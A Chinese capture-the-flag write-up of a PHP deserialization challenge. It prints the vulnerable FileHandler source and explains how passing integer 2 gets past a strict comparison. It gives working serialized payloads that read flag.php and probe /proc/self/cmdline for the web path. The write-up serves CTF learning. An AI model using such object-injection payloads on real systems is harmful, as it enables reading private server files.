这是第一次参加这么大型的比赛,青龙组一共6700个队伍参加,前130名队伍才能进入半决,我比较菜,就只做出了三题,无法和大佬们比较,就随便写写wp记录一下
复现可以去BUUCTF平台
https://buuoj.cn/
话不多说,先贴代码
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{‘str‘})) { $str = (string)$_GET[‘str‘]; if(is_valid($str)) { $obj = unserialize($str); } }
这题的考点是反序列化,弱类型比较和网站路径
通过分析可以看见需要利用read()函数读出flag.php的内容
那么接下来看看如何绕过才能调用这个read函数
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
看到这个__destruct()函数,该函数会在类的一个对象被删除时自动调用。而在反序列化的过程中也会调用函数,所以在反序列化后就会进入这个函数进行条件判断
可以看到这个if语句判断op是使用===强类型比较,“2”代表的是字符2,不是数字2。如果传入的是字符2,那么会将op改写为1,防止读取文件。
而后面的
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
使用的是弱类型==,那么这就说明我们可以用数字2绕过这个if
filename我一开始设置的是flag.php,所以得到的payload为:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;},
这个payload在buuctf里是可以的,但是在网鼎杯里需要找到目录,所以这段payload是不行的。
那么如何找到目录呢,我参考了大佬的wp,是读取了这个文件/proc/self/cmdline
当时我是靠运气找到的路径,试出来的
filename输入/proc/self/cmdline这个后
该图片来自https://www.cnblogs.com/W4nder/p/12866365.html。
所以最终payload为O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}
如果是在buuctf平台复现的话不需要路径,直接读flag就好了
原文:https://www.cnblogs.com/XCCCCCC/p/12874178.html